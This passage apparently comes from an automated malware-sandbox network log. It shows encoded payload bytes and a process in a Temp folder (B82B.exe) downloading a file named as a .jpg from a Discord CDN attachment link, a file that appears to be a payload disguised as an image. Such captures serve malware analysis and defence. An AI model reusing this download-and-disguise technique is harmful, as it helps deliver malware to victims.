6b 4b 20 78 20 4b 51 20 78 20 Data Ascii: x Kk x Kt x Oxo x Kt x Kt x YK x tK x kR x Yx x RY x RY x Rt x tk x OxK x Oxo x kK x Yt x Kt x Kt x Yt x kO x YK x tx x tE x kx x RY x RY x Rt x tk x OxK x Oxo x kK x Yt x Kt x Kt x Yt x kO x Qt x RY x Rk x tt x kO x RY x Rt x tk x OxK x Oxo x kK x KQ x
2021-10-29 18:30:02 UTC	2387	IN	Data Raw: 20 4f 78 52 20 78 20 52 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 4f 78 6f 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 6b 45 20 78 20 4f 78 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 51 20 78 20 52 6b 20 78 20 6b 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 4b 45 20 78 20 74 45 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 74 20 78 20 59 74 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 78 20 78 20 4b 6b 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 6b 4b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 45 20 78 20 59 4b 20 78 20 6b 6b 20 78 20 4f 78 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 Data Ascii: OxR x RQ x kO x RY x Rk x Kt x Oxx x Oxo x OxR x OOO x kE x Oxk x OOO x RY x RY x tE x kx x RQ x Rk x kx x Yt x KQ x KE x tE x OOk x kQ x Yt x Yt x OOY x Qk x Yx x Kk x kx x Kt x tx x ko x kK x RY x kO x RY x RR x OxQ x OxE x YK x kk x Oxt x Yt x Kt x Kt
2021-10-29 18:30:02 UTC	2403	IN	Data Raw: 20 78 20 4b 74 20 78 20 6b 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 4f 4f 74 20 78 20 74 52 20 78 20 59 52 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 51 20 78 20 4b 74 20 78 20 74 6b 20 78 20 4b 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 4f 78 52 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 6b 78 20 78 20 6b 59 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 59 78 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 74 45 20 78 20 6b 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 6b 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 4f 4f 6f 20 78 20 6b 4b 20 78 20 4f 78 59 20 78 20 4b 74 20 78 20 52 6b 20 78 Data Ascii: x Kt x kt x tQ x Kt x OOt x tR x YR x to x kO x RQ x tQ x Kt x tk x KQ x tK x Oxk x kx x Kt x tx x ko x OxR x Rt x kO x RY x Rt x tR x kx x kY x Ooo x RY x kO x RY x Rt x tR x Yx x tO x OOO x tE x kY x Kt x Kt x kk x Qt x OxE x OOo x kK x OxY x Kt x Rk x
2021-10-29 18:30:02 UTC	2419	IN	Data Raw: 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 6b 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 52 74 20 78 20 4b 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 59 20 78 20 59 4f 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4f 78 74 20 78 20 4f 78 4f 20 78 20 52 6b 20 78 20 59 6f 20 78 20 6b 4f 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 6b 6b 20 78 20 6b 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 4b 6b 20 78 20 6b 6b 20 78 20 4f 4f 4f 20 78 20 52 6b 20 78 20 59 59 20 78 20 51 51 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4b 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 52 20 78 20 74 78 20 78 20 74 51 20 78 20 6b 52 20 78 20 Data Ascii: Oxk x Oxx x Kk x tQ x OxR x Rt x Kt x Oxo x Kt x Kt x OxY x YO x kY x tt x Qx x OxR x Oxt x OxO x Rk x Yo x kO x OOk x RY x kO x RY x RY x OxY x kk x kk x OOO x OxY x Kk x kk x OOO x Rk x YY x QQ x RY x Qx x OxR x Kk x OxE x RY x to x kR x tx x tQ x kR x
2021-10-29 18:30:02 UTC	2435	IN	Data Raw: 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4f 6f 78 20 78 20 6b 59 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6b 20 78 20 4b 51 20 78 20 59 59 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 6b 4f 20 78 20 74 4f 20 78 20 51 74 20 78 20 52 6b 20 78 20 51 78 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 4f 78 52 20 78 20 59 4b 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 51 51 20 78 20 74 4b 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 74 78 20 78 20 52 6b 20 78 20 4f 4f 4f Data Ascii: x Kt x Oxx x kO x Ooo x Kt x Oxx x kO x OxK x kt x Kt x Oox x kY x Kk x OOQ x kY x RY x RY x kk x KQ x YY x tK x OOQ x KQ x kt x tR x YY x tE x kx x OOY x kO x tO x Qt x Rk x Qx x QQ x RY x RY x Qt x OxR x YK x tk x ko x QQ x tK x OOE x RY x tx x Rk x OOO
2021-10-29 18:30:02 UTC	2451	IN	Data Raw: 20 52 59 20 78 20 74 74 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 45 20 78 20 74 78 20 78 20 74 78 20 78 20 4f 4f 45 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 59 45 20 78 20 52 6b 20 78 20 52 52 20 78 20 59 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 74 52 20 78 20 4f 6f 4f 20 78 20 74 78 20 78 20 74 6f 20 78 20 4f 4f 4f 20 78 20 74 6f 20 78 20 6b 59 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 59 59 20 78 20 52 74 20 78 20 6b 78 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 52 74 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 4f 78 6f 20 78 20 4f 6f 4f 20 78 Data Ascii: RY x tt x YR x Oxk x OOE x tx x tx x OOE x tR x Oox x OOk x Oxo x OxY x Rk x YE x Rk x RR x Yt x Yt x Oxt x tR x OoO x tx x to x OOO x to x kY x Oxt x RY x RY x tx x OxQ x YY x Rt x kx x RR x RY x RY x tx x OxQ x tK x ko x Kk x Rt x tK x kk x Oxo x OoO x
2021-10-29 18:30:02 UTC	2467	IN	Data Raw: 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 6b 20 78 20 4f 6f 4f 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 6b 4b 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78 20 4b 45 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 74 59 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78 20 4f 78 59 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78 Data Ascii: x tR x Oox x OOt x OxK x QQ x Yx x kx x Kt x Kt x Qt x Oxk x OoO x tR x Oox x OOt x OxK x kK x Yx x kx x Kt x Kt x Qt x OxY x KE x tR x Oox x OOt x OxK x tY x Yx x kx x Kt x Kt x Qt x OxY x OxY x tR x Oox x OOt x OxK x RR x Yx x kx x Kt x Kt x Qt x OxY x
2021-10-29 18:30:02 UTC	2483	IN	Data Raw: 20 6b 59 20 78 20 74 4f 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 59 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20 74 52 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 6b 59 20 78 20 74 4f 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 51 51 20 78 20 4f 6f 6f 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 6b Data Ascii: kY x tO x Qt x tK x OOk x kO x Rk x Yo x Kt x Kt x Kt x OOO x OxY x Rk x kQ x RY x RY x tx x Qt x tk x OxK x kO x tR x YK x Kt x Kt x Yt x kk x kY x tO x Qt x tK x OOk x kO x Rk x YK x Kt x Kt x Kt x OOO x QQ x Ooo x kQ x RY x RY x tx x Qt x tk x OxK x k
2021-10-29 18:30:02 UTC	2499	IN	Data Raw: 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 6b 6f 20 78 20 4f 78 78 20 78 20 6b 45 20 78 20 74 51 20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 59 4f 20 78 20 6b 59 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 4b 6b 20 78 20 6b 51 20 78 20 4b 6b 20 78 20 4f 78 59 20 78 20 6b 59 20 78 20 6b 6b 20 78 20 59 52 20 78 20 4f 78 59 20 78 20 4f 4f 51 20 78 20 51 74 20 78 20 74 52 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 6b 4f 20 78 20 51 74 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 4f 78 4b 20 78 20 74 51 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 74 20 78 20 74 52 20 78 20 6b 6f 20 78 20 4f 78 6f 20 78 20 4f 6f 6f 20 78 Data Ascii: x Ooo x Ooo x OOk x ko x Oxx x kE x tQ x tx x Oox x YO x kY x Oxo x OxY x Kk x kQ x Kk x OxY x kY x kk x YR x OxY x OOQ x Qt x tR x Ooo x OOk x Yt x kO x Qt x tO x OOO x RY x OxY x Yt x OxR x OOO x OxK x tQ x to x Kt x Kt x KQ x Rt x tR x ko x Oxo x Ooo x
2021-10-29 18:30:02 UTC	2515	IN	Data Raw: 52 52 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 59 78 20 78 20 4f 4f 6f 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 6b 78 20 78 20 6b 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 4b 20 78 20 59 45 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 74 74 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 4f 78 45 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 4b 20 78 20 4f 4f 78 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 20 78 20 6b Data Ascii: RR x OxO x OOQ x Yx x OOo x kO x Kt x Ooo x Qx x OOO x OoO x kx x kR x RY x RY x tQ x OxK x YE x tK x RY x RY x RY x Qt x tt x OOQ x Rt x RY x RY x Rk x Kt x Oxx x OxE x ko x OOO x KE x kx x tK x RY x RY x tQ x OxK x OOx x tK x RY x RY x RY x OxE x YR x k
2021-10-29 18:30:02 UTC	2531	IN	Data Raw: 20 59 78 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 51 20 78 20 74 78 20 78 20 59 6f 20 78 20 74 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 74 78 20 78 20 4f 78 78 20 78 20 6b 4b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 52 20 78 20 59 45 20 78 20 74 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 52 59 20 78 20 74 59 20 78 20 74 6f 20 78 20 4f 78 74 20 78 20 4f 6f 4f 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 74 6b 20 78 20 4b 6b 20 78 20 52 51 20 78 20 6b 51 20 78 20 4b 51 20 78 20 74 6b 20 78 20 59 74 20 78 20 74 78 20 Data Ascii: Yx x kY x RY x RY x kY x tt x QQ x tx x Yo x tt x OxK x RR x RY x RY x RQ x RY x RY x RY x Rk x Kt x tx x Oxx x kK x RY x kO x RY x Rt x OxR x YE x tt x OxK x RR x RY x tY x to x Oxt x OoO x RQ x RQ x RY x tQ x YR x tk x Kk x RQ x kQ x KQ x tk x Yt x tx
2021-10-29 18:30:02 UTC	2547	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 59 78 20 78 20 74 78 20 78 20 52 59 20 78 20 4f 4f 6b 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4b 6b 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 74 20 78 20 52 51 20 78 20 6b 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 74 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 6b 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 52 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4b 6b 20 78 20 52 59 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 Data Ascii: x RY x RY x tE x Yx x tx x RY x OOk x OOK x Kt x Kt x KQ x RR x OxQ x OxY x Qk x Kk x RY x KE x OOk x Kt x Kt x YK x tt x RQ x ko x RY x RY x RR x kt x OxR x kQ x kY x Rt x Kt x kx x Kt x Kt x kR x KQ x RR x OxQ x OxY x Qk x Kk x RY x Kt x kx x Kt x Kt x
2021-10-29 18:30:02 UTC	2563	IN	Data Raw: 78 20 6b 6b 20 78 20 74 78 20 78 20 4f 78 6f 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 6b 20 78 20 52 59 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 74 6f 20 78 20 59 6f 20 78 20 4f 4f 6b 20 78 20 74 6f 20 78 20 59 4b 20 78 20 4f 6f 78 20 78 20 59 78 20 78 20 52 6b 20 78 20 4f 4f 51 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 74 59 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 59 20 78 20 6b 4b 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 4f 4f 6f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 59 20 78 20 52 51 20 78 20 51 51 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: x kk x tx x Oxo x OOO x OxQ x RY x OxE x RY x RY x tE x kk x RY x kt x kR x Oxk x Kk x to x Yo x OOk x to x YK x Oox x Yx x Rk x OOQ x ko x Rk x OOO x OOQ x tY x to x Kt x Kt x KE x OOY x kK x Qt x OxE x OOo x kt x Kt x YY x RQ x QQ x RR x RY x RY x RY x
2021-10-29 18:30:02 UTC	2579	IN	Data Raw: 78 20 4f 78 6b 20 78 20 4f 4f 78 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 51 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 6b 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 4b 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f Data Ascii: x Oxk x OOx x tt x tK x RY x RY x kx x YR x Oxk x OxQ x tt x tK x RY x RY x kx x YR x Oxk x Oxk x tt x tK x RY x RY x kx x YR x Oxk x Oxt x tt x tK x RY x RY x kx x YR x Oxk x OxR x tt x tK x RY x RY x kx x YR x Oxk x OOK x tt x tK x RY x RY x kx x YR x O
2021-10-29 18:30:02 UTC	2595	IN	Data Raw: 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 78 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 52 52 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 45 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 4f Data Ascii: x tO x kO x RY x kY x OxE x RR x KQ x RY x tO x Yo x RY x RY x RY x RR x kk x RY x RQ x Oxt x RY x kK x OxE x RY x Yo x RY x tx x tE x RY x kR x RY x RR x tk x RY x RY x RY x RY x kR x OOQ x RR x tK x RY x RQ x Yo x RY x tk x OOQ x RR x kE x RY x tx x kO
2021-10-29 18:30:02 UTC	2611	IN	Data Raw: 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: x OOY x RY x tO x OOQ x RY x RY x RY x RY x RY x RY x tx x OOQ x RY x RY x RY x RR x tx x RY x to x tE x RY x QQ x OxE x RR x OOk x RY x to x tE x RY x tE x RY x RY x Oxk x RY x tO x kO x RY x tQ x OxE x RY x OxE x RY x Rt x kY x RY x QQ x OOQ x RY x RY
2021-10-29 18:30:02 UTC	2627	IN	Data Raw: 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 52 52 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 59 Data Ascii: x OOx x RY x tO x Oxt x RY x QQ x OOQ x RR x Kk x RY x tO x kY x RY x QQ x OxE x RR x Ooo x RY x Rk x OOO x RY x tE x RY x RY x tk x RY x RY x OOO x RY x ko x kO x RR x RR x RY x tx x OxE x RY x kx x kO x RY x Oxk x RY x Rk x OxE x RY x tR x OxE x RY x Y
2021-10-29 18:30:02 UTC	2643	IN	Data Raw: 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 45 20 78 20 59 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 4f 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 52 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 59 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 59 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 6b 4b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 Data Ascii: OO x RY x RY x Rk x tE x YK x RY x RY x RY x to x OOt x kY x RY x RY x Rk x Rk x Oxk x RY x RY x RY x KE x YE x kO x RY x RY x kt x tQ x kY x RY x RY x tO x YY x Oxk x RY x RY x Rt x tE x YE x kO x RY x RY x OOo x tQ x kY x RY x RY x tR x kK x Oxk x RY x

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49795	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\B82B.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:30:03 UTC	2652	OUT	GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1 Host: cdn.discordapp.com
2021-10-29 18:30:03 UTC	2653	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:30:03 GMT Content-Type: image/jpeg Content-Length: 345655 Connection: close CF-Ray: 6a5e79105dba05ed-FRA Accept-Ranges: bytes Age: 87787 Cache-Control: public, max-age=31536000 ETag: "d05714d4497c7b55b2c0b1609cbd62c9" Expires: Sat, 29 Oct 2022 18:30:03 GMT Last-Modified: Tue, 26 Oct 2021 11:56:34 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635249394465681 x-goog-hash: crc32c=to49mQ== x-goog-hash: md5=0FcU1El8e1WywLFgnL1iyQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 345655 X-GUploader-UploadID: ADPycds4sIyz_GzjIugLy9_WqK029_2RU2KSIIfGlpMQJZx1WvXGDydhZDvUpsH4QNomt1ATbnkYUYcRxSnB_xGGebc X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZFP4E9O%2Bo%2Fns%2F%2FOD10F6korWiuWX9%2FL%2BfS7H5bSMXNqLsp8cG1Me%2BzaUgtfZCpznMJSBJGZQV5Z5EaZD9cmRQQrag%2BCOGPjVNDFuGyq2PhYwYlmakkjdDrjkRDP9wckaUZ0WZg%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:30:03 UTC	2654	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:30:03 UTC	2654	IN	Data Raw: 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 74 6b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 